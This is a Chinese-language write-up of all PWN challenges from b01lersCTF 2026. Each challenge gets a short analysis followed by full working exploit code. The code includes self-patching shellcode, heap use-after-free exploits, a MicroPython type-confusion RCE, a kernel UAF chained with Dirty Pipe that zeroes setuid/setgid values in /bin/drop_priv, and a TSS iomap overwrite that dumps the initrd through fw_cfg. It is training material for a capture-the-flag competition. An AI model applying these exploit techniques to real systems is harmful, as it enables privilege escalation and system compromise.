b01lersCTF2026 PWN 方向全题解
Abstract
也是ak了一次题目捏
第二次 AK 居然是在神秘的 GPT 的辅助下完成的 可恶啊 T.T
最后还是在 Multifiles 上使用了禁忌的力量
不多说,我们直接进题目
Transmutation
题目分析
里面最简单的一道题目
#include <stdio.h>#include <stdlib.h>#include <sys/mman.h>
#define MAIN ((char *)main)#define CHALL ((char *)chall)#define LEN (MAIN - CHALL)
int main(void);
void chall(void) { char c = getchar(); unsigned char i = getchar(); if (i < LEN) { CHALL[i] = c; }}
int main(void) { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL);
mprotect((char *)((long)CHALL & ~0xfff), 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
chall(); return 0;}看checksec,发现基本什么都没开

能发现实际是一个shellcode题
改 a1 的位置为 a2, 总共有 LEN 的大小给你玩
如果把 chall() 最后的 leave; ret 改为 leave; leave
就能够让执行流很丝滑的回滚到 main 函数。 于是,我就成功获得了一个 循环patch的 程序
为了扩展可写范围,将 lea这里改掉,也就是将main的立即数改为 0xdc,就能将可写范围直接改到0xff

之后我们直接预备写完shellcode跳到shellcode处,将 jge 跳往的地方改成shellcode

之后shellcode正常写就行,一个 正常的执行 shell
攻击思路 & EXP
综合起来,攻击思路为
- 改 ret 为 leave,实现循环写入
- 改 LEN,实现扩展可写范围
- 改 jge 终点,实现可控跳入 shellcode
- 写shellcode,随后运行
# pyright: reportWildcardImportFromLibrary=false# ruff: noqa: F403, F405
from Mypwn import *from pwn import *
FILE_NAME = "./src/chall"LIBC_PATH = "./src/libc.so.6"LD_PATH = "./src/ld-linux-x86-64.so.2"
IS_SSL = True
REMOTE_TARGET = "transmutation.opus4-7.b01le.rs:8443"# REMOTE_TARGET = None
HOST = REMOTE_TARGET.split(":")[0]# HOST = None
CHALL = 0x401146SHELLCODE_ADDR = 0x4011F3
RET_OFF = 0x48LEN_OFF = 0x1FJGE_IMM_OFF = 0x31SHELLCODE_OFF = SHELLCODE_ADDR - CHALL
init(binary_path=FILE_NAME, libc_path=LIBC_PATH, debug=False)logHex, lg, info, debug = get_log_function()
def patch_byte(value, off): return p8(value)+p8(off)
def build_payload(): shellcode = asm(sc.execve("/bin/sh", 0, 0))
payload = b""
# ret -> leave,让 chall 收尾时重新跌回 main 的开头。 payload += patch_byte(0xC9, RET_OFF)
# 把 lea 到 main 的位移从 0x26 改成 0xdc,于是 LEN 变成 0xff。 payload += patch_byte(0xDC, LEN_OFF)
# 把 jge 的落点改到 main 末尾那块原本不会执行的区域。 payload += patch_byte(0x7B, JGE_IMM_OFF)
for i, byte in enumerate(shellcode): payload += patch_byte(byte, SHELLCODE_OFF + i)
# i == 0xff 时会走 jge,直接跳进我们刚写好的 shellcode。 payload += patch_byte(0x00, 0xFF) return payload
io = iopen( target=REMOTE_TARGET, binary=FILE_NAME, libc_path=LIBC_PATH, ld_path=LD_PATH, ssl=IS_SSL, sni=HOST,)
try: io.send(build_payload()) io.interactive()finally: io.close()
Spelling-Bee
题目分析
这题目拉了一大坨,真不是给人看的
它主要有两个结构体
typedef struct word { long flags; long length; long referenced_by; void (*code)(void *); void *param;} word_t;
typedef struct dictionary { char *name; word_t *word; struct dictionary *next; bool alloc_name;} dict_t;
开局泄露 dosys地址,等于PIE白开
主要漏洞是 delete word函数没有进行引用检测,也就是存在一个uaf漏洞
攻击思路 & EXP
我们的攻击链也比较简单
- add a; add a c; dele c; 得到 uaf
- 通过堆风水控制 C.code指向 dosys, C.param 为所执行命令
- 执行A从而拿到shell
# pyright: reportWildcardImportFromLibrary=false# ruff: noqa: F403, F405
from Mypwn import *from pwn import *
FILE_NAME = "./src/chall"LIBC_PATH = "./src/libc.so.6"LD_PATH = "./src/ld-linux-x86-64.so.2"
REMOTE_TARGET = "priority-queue.opus4-7.b01le.rs:8443"# REMOTE_TARGET = NoneHOST = REMOTE_TARGET.split(":")[0]# HOST = None
NAME_LEN = 0x7fCODE_PTR_OFF = 0x18
init(binary_path=FILE_NAME, libc_path=LIBC_PATH, debug=False)_, dopk, _ = Tool.get_arch_packer(elf)logHex, lg, info, debug = get_log_function()
def long_name(head, fill): return head + fill * (NAME_LEN - len(head))
def add(name, body=b""): line = b": " + name if body: line += b" " + body line += b" ;" sl(line)
def dele(name): sl(b"forget " + name)
io = iopen( target=REMOTE_TARGET, binary=FILE_NAME, libc_path=LIBC_PATH, ld_path=LD_PATH, ssl=True, sni=HOST,)
try: rcu(b"maybe you could implement them for me?\n") dosys = int(rcu(b"\n", drop=True), 16) logHex("dosys", dosys)
w0 = long_name(b"L0", b"A") w1 = long_name(b"L1", b"B") w2 = long_name(b"L2", b"C")
add(b"s") add(w0) add(w1) add(w2) add(b"C") add(b"A", b"C")
dele(b"s") dele(w0) dele(w1) dele(b"C") dele(w2)
fake = b"A" * CODE_PTR_OFF + dopk(dosys)[:6] add(fake)
cmd = b"/bin/sh${IFS}-i;#".ljust(NAME_LEN, b'A') add(cmd) sl(b'A') # trigger rcu(b'/bin/sh: ') io.interactive()finally: io.close()

Priority - Queue
题目分析
void insert(void) { puts("Message: "); char buffer[128] = { 0 }; scanf("%127s", buffer);
char *chunk = malloc(strlen(buffer) + 1); strcpy(chunk, buffer);
if (capacity == size) { int new_capacity = capacity * CAPACITY_MULTIPLIER; char **new = calloc(new_capacity, sizeof(char *)); memcpy(new, array, capacity * sizeof(char *)); free(array); array = new; capacity = new_capacity; }
array[size] = chunk; move_up(size++);}
void delete(void) { if (size == 0) { puts("Queue is empty!"); return; }
puts(array[0]); free(array[0]);
array[0] = array[--size]; move_down(0);}
void peek(void) { if (size == 0) { puts("Queue is empty!"); return; }
puts(array[0]);}
void edit(void) { if (size == 0) { puts("Queue is empty!"); return; }
puts("Message: "); read(fileno(stdin), array[0], 32);
move_down(0);}
题目实现了对字符串最小堆的优先队列的 insert (add)、delete、peek(show)、edit、count
其中edit固定写 32大小,即存在越界写
add分配大小取决于你输入长度
题目会将flag读到一个chunk里
FILE *file = fopen("flag.txt", "r");if (file) { char *flag = malloc(100); fgets(flag, 100, file); fclose(file);}那么,我们甚至都不用去拿shell了,只要leak Heap中的这个chunk就行
攻击思路 & EXP
我们的思路也就很简单了
- 通过申请 9 个 chunk,触发 array 的扩容。这时扩容出的array里会存储Heap中的地址
- 通过两次edit越界写覆盖掉array的chunk头,再用show来泄露出Heap地址
- 再将 chunk9 的大小伪造为 0x30或更大,再通过add申请出来,从而替换 array[0]
- 最后show拿到flag
# pyright: reportWildcardImportFromLibrary=false# ruff: noqa: F403, F405
from Mypwn import *
FILE_NAME = "./src/chall"LIBC_PATH = "./src/libc.so.6"
# REMOTE_TARGET = "priority-queue.opus4-7.b01le.rs:8443"REMOTE_TARGET = None# HOST = REMOTE_TARGET.split(":")[0]HOST = None
PROMPT = b"Operation (insert/delete/peek/edit/count/quit): \n"ASK = b"Message: \n"BAD = b"\x00\t\n\v\f\r "HEAP_TO_FLAG = 0x1C0
init(binary_path=FILE_NAME, libc_path=LIBC_PATH, debug=False)unpk, dopk, _ = Tool.get_arch_packer(elf)logHex, lg, info, debug = get_log_function()
def add(msg): sl(b"insert") rcu(ASK) sl(msg) rcu(PROMPT)
def dele(): sl(b"delete") return rcu(PROMPT, drop=True)
def edit(msg): sl(b"edit") rcu(ASK) s(msg) rcu(PROMPT)
def show(): sl(b"peek") return rcu(PROMPT, drop=True)
def leak_flag_ptr(): payload = flat([ b"z\x00", b"A" * 14, dopk(0), dopk(0x21) ]) # 使得chunk8排序到chunk9后,且edit不破坏chunk9的结构 edit(payload) edit(b"B" * 32) # 覆盖掉 array 的 chunk头,使得进行 show 时能泄露heap地址
data = show() pos = data.find(b"B" * 32)
heap = unpk(data[pos + 32 : pos + 38]) flag_ptr = dopk(heap - HEAP_TO_FLAG)[:6]
logHex("heap", heap) logHex("flag_ptr", unpk(flag_ptr)) return flag_ptr
def poison_array(flag_ptr): edit(b"~\x00" + b"C" * 30) edit(b"\xff\x00" + b"D" * 14 + dopk(0) + dopk(0x31)) dele() add(b"z" * 0x20 + flag_ptr)
io = iopen( target=REMOTE_TARGET, binary=FILE_NAME, libc_path=LIBC_PATH, ssl=True, sni=HOST,)
try: rcu(PROMPT)
for ch in b"abcdefghi": add(bytes([ch]))
for _ in range(7): dele()
flag_ptr = leak_flag_ptr() poison_array(flag_ptr) data = show() print(data.decode("latin1", "replace"), end="")finally: io.close()
Micromicromicropython
题目分析
FROM alpine:3.23.3 AS builder
RUN apk add --no-cache build-base git python3# latest stable release at the time of developing this challengeRUN git clone --depth 1 --branch v1.27.0 https://github.com/micropython/micropython.git /opt/micropythonWORKDIR /opt/micropython/ports/unix
# patch out os ;)RUN sed -i 's/#define MICROPY_PY_OS (1)/\/\/ #define MICROPY_PY_OS (1)/' \ ./variants/minimal/mpconfigvariant.h
RUN make -j4 submodulesRUN make -j4 VARIANT=minimal
# create catflagWORKDIR /optCOPY catflag.c .RUN gcc -o catflag catflag.c
FROM alpine:3.23.3 AS appCOPY --from=builder /opt/micropython/ports/unix/build-minimal/micropython /usr/local/bin/micropythonCOPY --from=builder /opt/catflag /catflag
RUN mkdir -p /appRUN echo -ne "#!/bin/sh\nexec /usr/local/bin/micropython -i" > /app/run
RUN chmod 755 /app/run && \ chmod 111 /catflag
FROM pwn.red/jailCOPY --from=app / /srv
ENV JAIL_TIME=120环境给了一个 Micropython,还给你 os 给砍了
我们在网上可以找到这么一个bug: https://github.com/micropython/micropython/issues/18639
这个bug可以通过类型混淆,来做到 任意对象导入。
而这个题目实际上只是不能import os,不是底层接口没了
因而我们可以通过伪造 module 再导入从而拿到 vfs,再泄露libc,从而在后面伪造system,最后调用实现RCE
攻击思路 & EXP
# pyright: reportWildcardImportFromLibrary=false# ruff: noqa: F403, F405import reimport time
from Mypwn import *
FILE_NAME = NoneLIBC_PATH = NoneLD_PATH = None
REMOTE_TARGET = "micromicromicropython.opus4-7.b01le.rs:8443"# REMOTE_TARGET = NoneHOST = REMOTE_TARGET.split(":")[0]# HOST = None
PRINT_TO_VFS_POSIX = 0x2F9E0 - 0x2F630PRINT_TO_FUN1_TYPE = 0x2E550 - 0x2F630STR_DATA_OFF = 24PROMPTS = (b">>> ", b"... ")SYSTEM_SIG = b"\x41\x56\x31\xc0\xb9\x12\x00\x00\x00\x41\x55\x41\x54\x55\x48\x89"
init(binary_path=FILE_NAME, libc_path=LIBC_PATH, debug=False)logHex, lg, info, debug = get_log_function()
def read_prompt(wait=0.4): end = time.time() + wait data = b"" while time.time() < end: try: part = io.recv(timeout=0.08) except EOFError: break if not part: continue data += part if data.endswith(PROMPTS): break return data.decode("latin1", "replace")
def py(line, wait=0.4): sl(line.encode()) time.sleep(wait) return read_prompt(wait + 0.2)
def take_num(text): hit = re.search(r"-?\d+", text) if hit is None: exit(3) return int(hit.group(0))
def fake_import(name, ptr): target = str(ptr) if isinstance(ptr, int) else ptr py( f"pair=range(id({name!r}), {target}, 1);" "sys.modules['m']=staticmethod(range(0,1,id(pair)+8));" "exec('from m import *')" )
io = iopen(target=REMOTE_TARGET, ssl=True, sni=HOST)try: read_prompt(0.3)
print_addr = take_num(py("import sys; print(id(print))")) vfs_type = print_addr + PRINT_TO_VFS_POSIX fun1_type = print_addr + PRINT_TO_FUN1_TYPE logHex("print_addr", print_addr)
fake_import("VFS", vfs_type) py("os=VFS()")
maps = py("print(os.open('/proc/self/maps','r').read())", 0.7) hit = re.search( r"([0-9a-f]+)-[0-9a-f]+\s+r--p\s+00000000\s+\S+\s+\S+\s+/lib/ld-musl-x86_64\.so\.1", maps, ) if hit is None: exit(1) musl_base = int(hit.group(1), 16) logHex("musl_base", musl_base)
py("data=os.open('/lib/ld-musl-x86_64.so.1','rb').read()", 1.0) system_off = take_num(py(f"print(data.find({SYSTEM_SIG}))", 0.8)) if system_off < 0: exit(2) system_addr = musl_base + system_off logHex("system_addr", system_addr)
py("mem=os.open('/proc/self/mem','rb')") py("cmd='exec /bin/sh -i'") py(f"mem.seek(id(cmd)+{STR_DATA_OFF})") cmd_ptr = take_num(py("print(int.from_bytes(mem.read(8),'little'))")) logHex("cmd_ptr", cmd_ptr)
fake_import("command", cmd_ptr) py(f"rs=range({fun1_type}, {system_addr}, 1)") fake_import("system", "id(rs)+8") sl(b"system(command)") io.interactive()finally: io.close()
ThroughTheWall
题目分析
依旧内核pwn
简单的复原了一下几个结构体
#define MAX_RULES 0x100#define RULE_SIZE 0x400
struct firewall_rule { u32 src_ip; u32 dst_ip; u16 port; u16 rule_type; char comment[RULE_SIZE - 0x0c];};
struct fw_rw_req { u32 idx; u32 pad; u64 offset; u64 len; u8 data[RULE_SIZE];};
static struct firewall_rule *rules[MAX_RULES];
add 输入大致是这样的: "10.0.0.1 10.0.0.2 1337 1 x"
会解析成下面这样
src -> 10.0.0.1dst -> 10.0.0.2port -> 1337rule_type -> 1comment -> x

add, edit, dele, show 四个功能全了
一眼看过来感觉就是 UAF 了

进来一看,确实没置空
攻击思路 & EXP
题目的打法也很简单
通过UAF拿到相应内存页, 走 DirtyPipe改 drop_priv 中间对用户权限的设置为 gid=0 uid=0 即可
#define _GNU_SOURCE
#include <errno.h>#include <fcntl.h>#include <sched.h>#include <stdbool.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/ioctl.h>#include <unistd.h>
#define DEVICE_PATH "/dev/firewall"
#define FW_ADD_RULE 0x41004601UL#define FW_DEL_RULE 0x40044602UL#define FW_EDIT_RULE 0x44184603UL#define FW_SHOW_RULE 0x84184604UL
#define RULE_SIZE 0x400#define PIPE_BUF_CAN_MERGE 0x10
#define SETGID_IMM_OFF 5718#define SETUID_IMM_OFF 5728
struct edit_req { uint32_t idx; uint32_t pad; uint64_t offset; uint64_t len; uint8_t data[RULE_SIZE];};
static void nope(const char *what) { perror(what); _exit(1);}
static int must_open(const char *path, int flags) { int fd = open(path, flags); if (fd < 0) { nope(path); } return fd;}
static void sit_on_cpu0(void) { cpu_set_t set;
CPU_ZERO(&set); CPU_SET(0, &set); if (sched_setaffinity(0, sizeof(set), &set) != 0) { nope("sched_setaffinity"); }}
static int add_one(int fd, const char *rule) { char buf[0x100];
memset(buf, 0, sizeof(buf)); snprintf(buf, sizeof(buf), "%s", rule); return (int)ioctl(fd, FW_ADD_RULE, buf);}
static void del_one(int fd, uint32_t idx) { if (ioctl(fd, FW_DEL_RULE, idx) < 0) { nope("FW_DEL_RULE"); }}
static void poke_one(int fd, uint32_t idx, uint64_t off, const void *buf, size_t len) { struct edit_req req;
memset(&req, 0, sizeof(req)); req.idx = idx; req.offset = off; req.len = len; memcpy(req.data, buf, len); if (ioctl(fd, FW_EDIT_RULE, &req) < 0) { nope("FW_EDIT_RULE"); }}
static void peek_one(int fd, uint32_t idx, void *buf, size_t len) { struct edit_req req;
memset(&req, 0, sizeof(req)); req.idx = idx; req.len = len; if (ioctl(fd, FW_SHOW_RULE, &req) < 0) { nope("FW_SHOW_RULE"); } memcpy(buf, req.data, len);}
static void dirty_pipe_write(int fwfd, uint32_t idx, const char *path, off_t off, const void *buf, size_t len) { uint8_t tmp[0x20]; uint32_t flags; off_t pos; int p[2]; int fd;
if (pipe(p) != 0) { nope("pipe"); }
fd = must_open(path, O_RDONLY); pos = off - 1; if (splice(fd, &pos, p[1], NULL, 1, 0) != 1) { nope("splice"); } close(fd);
peek_one(fwfd, idx, tmp, sizeof(tmp)); memcpy(&flags, tmp + 0x18, sizeof(flags)); flags |= PIPE_BUF_CAN_MERGE; poke_one(fwfd, idx, 0x18, &flags, sizeof(flags));
if (write(p[1], buf, len) != (ssize_t)len) { nope("write(pipe)"); }
close(p[0]); close(p[1]);}
int main(void) { static const uint8_t zero4[4] = {0, 0, 0, 0}; int fwfd; int idx;
sit_on_cpu0();
fwfd = must_open(DEVICE_PATH, O_RDWR); idx = add_one(fwfd, "10.0.0.1 10.0.0.2 1337 1 x"); if (idx < 0) { nope("FW_ADD_RULE"); }
del_one(fwfd, (uint32_t)idx); dirty_pipe_write(fwfd, (uint32_t)idx, "/bin/drop_priv", SETGID_IMM_OFF, zero4, sizeof(zero4)); dirty_pipe_write(fwfd, (uint32_t)idx, "/bin/drop_priv", SETUID_IMM_OFF, zero4, sizeof(zero4));
close(fwfd); puts("[*] patched /bin/drop_priv"); puts("[*] exit the current shell and init will respawn a root shell"); return 0;}
Multifiles
题目分析
其实这个题目,我是用的一种取巧的方式做出来的。
当你去看 Dockerfile_build 时,会发现 flag 被直接写进了 ${rootfs}/root/flag.txt 里,而这一整个 rootfs 又被打包为了启动资源。
也就是说,我们如果能够通过某种方式将整个包弄出来,让我们能读写,那就会简单不知道多少倍了
而对于 QEMU,有一个叫做 fw_cfg 的东西,虽然配置中将 fw_cfg 关了,但是对于该题,我们可以通过修改 I/O 的 bitmap 来拿到读的权限。
攻击思路 & EXP
对于这道题目,我是这样构造利用链的:
- 通过 gdt 加上 pipe 操作拿到 physmap
- 通过 physmap的基址,拿到 TSS 的地址
- 再通过一个shellcode将 iomap_base 的两个字节改成 0x3000,从而获得 IO 能力
- 最后使用 fw_cfg 将 initrd 拉出来,从里面掏出flag
#define _GNU_SOURCE
#include <arpa/inet.h>#include <setjmp.h>#include <signal.h>#include <stddef.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/io.h>#include <sys/mman.h>#include <sys/ptrace.h>#include <sys/types.h>#include <sys/user.h>#include <sys/wait.h>#include <ucontext.h>#include <unistd.h>#include <zlib.h>
#define WATCH_ADDR 0xdead000#define TSS_PHYS 0x0f806000ULL
#define FW_CFG_PORT_SEL 0x510#define FW_CFG_PORT_DATA 0x511
#define FW_CFG_INITRD_SIZE 0x0b#define FW_CFG_INITRD_DATA 0x12
static uint64_t fault_err;static jmp_buf jb;static char sig_stack[0x4000];
static uint8_t arb_w_shellcode[] = { 235, 10, 73, 112, 51, 1, 0, 0, 0, 0, 51, 0, 80, 83, 81, 82, 72, 184, 72, 184, 2, 112, 51, 1, 0, 0, 72, 187, 0, 0, 72, 255, 24, 0, 0, 0, 185, 0, 114, 51, 1, 64, 0, 241, 128, 233, 13, 72, 137, 1, 72, 131, 193, 8, 72, 137, 25, 72, 131, 233, 8, 72, 137, 226, 72, 137, 252, 72, 131, 196, 16, 255, 225, 72, 137, 212, 90, 89, 91, 88, 195};
static void die(const char *msg) { perror(msg); exit(1);}
static void fail(const char *msg) { fprintf(stderr, "%s\n", msg); exit(1);}
static void on_segv(int sig, siginfo_t *info, void *ctx) { ucontext_t *u = (ucontext_t *)ctx;
(void)sig; (void)info; fault_err = (uint64_t)u->uc_mcontext.gregs[REG_ERR]; u->uc_mcontext.gregs[REG_RSP] = (uint64_t)(sig_stack + 0x1000); longjmp(jb, 1);}
static void setup_sig(void) { stack_t ss; struct sigaction sa;
memset(&ss, 0, sizeof(ss)); ss.ss_size = sizeof(sig_stack); ss.ss_sp = sig_stack; if (sigaltstack(&ss, NULL) != 0) { die("sigaltstack"); }
memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = on_segv; sa.sa_flags = SA_ONSTACK | SA_SIGINFO; sigfillset(&sa.sa_mask); if (sigaction(SIGSEGV, &sa, NULL) != 0) { die("sigaction"); }}
static void do_iret(uint64_t addr) { asm volatile( ".intel_syntax noprefix\n" "mov rsp, %0\n" "sub rsp, 9\n" "iretq\n" ".att_syntax prefix\n" : : "r"(addr) : "memory" );}
static void arm_watch(pid_t pid, uint64_t addr) { uint64_t dr0_off = offsetof(struct user, u_debugreg[0]); uint64_t dr6_off = offsetof(struct user, u_debugreg[6]); uint64_t dr7_off = offsetof(struct user, u_debugreg[7]);
if (ptrace(PTRACE_POKEUSER, pid, dr0_off, addr) != 0 || ptrace(PTRACE_POKEUSER, pid, dr7_off, 0xf0101) != 0 || ptrace(PTRACE_POKEUSER, pid, dr6_off, 0) != 0) { die("ptrace(POKEUSER)"); }}
static void kid(void) { int pipes[2];
if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) { die("ptrace(TRACEME)"); } raise(SIGSTOP);
if (mmap((void *)WATCH_ADDR, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED | MAP_POPULATE, -1, 0) == MAP_FAILED) { die("mmap"); }
sleep(1); pipe(pipes); write(pipes[1], (void *)WATCH_ADDR, 1); _exit(0);}
static void trip_debug(void) { pid_t pid = fork(); int st;
if (pid < 0) { die("fork"); } if (pid == 0) { kid(); }
waitpid(pid, &st, 0); arm_watch(pid, WATCH_ADDR); ptrace(PTRACE_CONT, pid, 0, 0);
while (1) { waitpid(pid, &st, 0); if (WIFEXITED(st)) { break; } if (WIFSTOPPED(st)) { int sig = WSTOPSIG(st); ptrace(PTRACE_CONT, pid, 0, sig == SIGTRAP ? 0 : sig); } }}
static uint64_t get_physmap(void) { char gdt[10]; uint64_t gdt_addr; uint64_t ist3; uint64_t physmap = 0xffff000000000000ULL; int pipes[2]; int i;
asm volatile( ".intel_syntax noprefix\n" "sgdt [%0]\n" ".att_syntax prefix\n" : : "r"(&gdt) : "memory" );
memcpy(&gdt_addr, &gdt[2], sizeof(gdt_addr)); ist3 = gdt_addr + 0xffc8;
for (i = 0; i < 3; i++) { pipe(pipes); if (!fork()) { if (setjmp(jb) == 0) { do_iret(ist3 + 3 + i); } write(pipes[1], &fault_err, sizeof(fault_err)); _exit(0); } read(pipes[0], &fault_err, sizeof(fault_err)); fault_err >>= 8; fault_err &= 0xff; physmap += (fault_err << ((3 + i) * 8)); }
return physmap & 0xfffffffff0000000ULL;}
static void poke_iomap(uint64_t addr) { void *code_mapping; uint64_t gadget = 0x3000; int i;
code_mapping = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); if (code_mapping == MAP_FAILED) { die("mmap(code)"); }
memcpy(code_mapping, arb_w_shellcode, sizeof(arb_w_shellcode)); for (i = 0; i < 2; i++) { ((void (*)(unsigned long, unsigned char))code_mapping)(addr + i, (gadget >> (i * 8)) & 0xff); }}
static uint32_t fw32(uint16_t selector) { uint32_t v = 0; int i;
outw(selector, FW_CFG_PORT_SEL); for (i = 0; i < 4; i++) { ((uint8_t *)&v)[i] = inb(FW_CFG_PORT_DATA); } return v;}
static uint8_t *grab_initrd(size_t *out_size) { uint32_t size; uint8_t *buf; uint32_t i;
size = fw32(FW_CFG_INITRD_SIZE); if (size == 0) { fail("fw_cfg returned empty initrd"); }
buf = malloc(size); if (!buf) { die("malloc(initrd)"); }
outw(FW_CFG_INITRD_DATA, FW_CFG_PORT_SEL); for (i = 0; i < size; i++) { buf[i] = inb(FW_CFG_PORT_DATA); }
*out_size = size; return buf;}
static uint8_t *inflate_gz(const uint8_t *src, size_t src_len, size_t *out_len) { z_stream strm; uint8_t *dst; size_t cap = 8 * 1024 * 1024; int ret;
memset(&strm, 0, sizeof(strm)); if (inflateInit2(&strm, 16 + MAX_WBITS) != Z_OK) { fail("inflateInit2 failed"); }
dst = malloc(cap); if (!dst) { die("malloc(gunzip)"); }
strm.next_in = (Bytef *)src; strm.avail_in = (uInt)src_len;
while (1) { if (strm.total_out == cap) { uint8_t *new_dst; cap *= 2; new_dst = realloc(dst, cap); if (!new_dst) { die("realloc(gunzip)"); } dst = new_dst; }
strm.next_out = dst + strm.total_out; strm.avail_out = (uInt)(cap - strm.total_out); ret = inflate(&strm, Z_NO_FLUSH); if (ret == Z_STREAM_END) { break; } if (ret != Z_OK) { fprintf(stderr, "inflate failed: %d\n", ret); exit(1); } }
*out_len = strm.total_out; inflateEnd(&strm); return dst;}
static uint32_t hex32(const char *s, size_t n) { char tmp[9];
if (n != 8) { fail("unexpected hex width"); } memcpy(tmp, s, 8); tmp[8] = '\0'; return (uint32_t)strtoul(tmp, NULL, 16);}
static void print_flag(const uint8_t *buf, size_t len) { size_t off = 0;
while (off + 110 <= len) { const char *hdr = (const char *)(buf + off); uint32_t namesize; uint32_t filesize; const char *name; size_t data_off; size_t next_off;
if (memcmp(hdr, "070701", 6) != 0 && memcmp(hdr, "070702", 6) != 0) { fail("cpio magic not found"); }
namesize = hex32(hdr + 94, 8); filesize = hex32(hdr + 54, 8); name = (const char *)(buf + off + 110); data_off = off + 110 + namesize; data_off = (data_off + 3) & ~((size_t)3); next_off = data_off + filesize; next_off = (next_off + 3) & ~((size_t)3);
if (off + 110 + namesize > len || next_off > len) { fail("cpio entry out of bounds"); }
if (strcmp(name, "TRAILER!!!") == 0) { break; }
if (strcmp(name, "./root/flag.txt") == 0 || strcmp(name, "root/flag.txt") == 0) { fwrite(buf + data_off, 1, filesize, stdout); if (filesize == 0 || buf[data_off + filesize - 1] != '\n') { fputc('\n', stdout); } return; }
off = next_off; }
fail("flag entry not found in cpio");}
int main(void) { uint64_t pm; uint64_t iomap; uint8_t *gz; uint8_t *cpio; size_t gz_len; size_t cpio_len;
setup_sig(); trip_debug(); pm = get_physmap(); iomap = pm + TSS_PHYS + 0x66;
fprintf(stderr, "[*] physmap=%#llx\n", (unsigned long long)pm); fprintf(stderr, "[*] iomap_base=%#llx\n", (unsigned long long)iomap);
poke_iomap(iomap);
gz = grab_initrd(&gz_len); cpio = inflate_gz(gz, gz_len, &cpio_len); print_flag(cpio, cpio_len); return 0;}
部分信息可能已经过时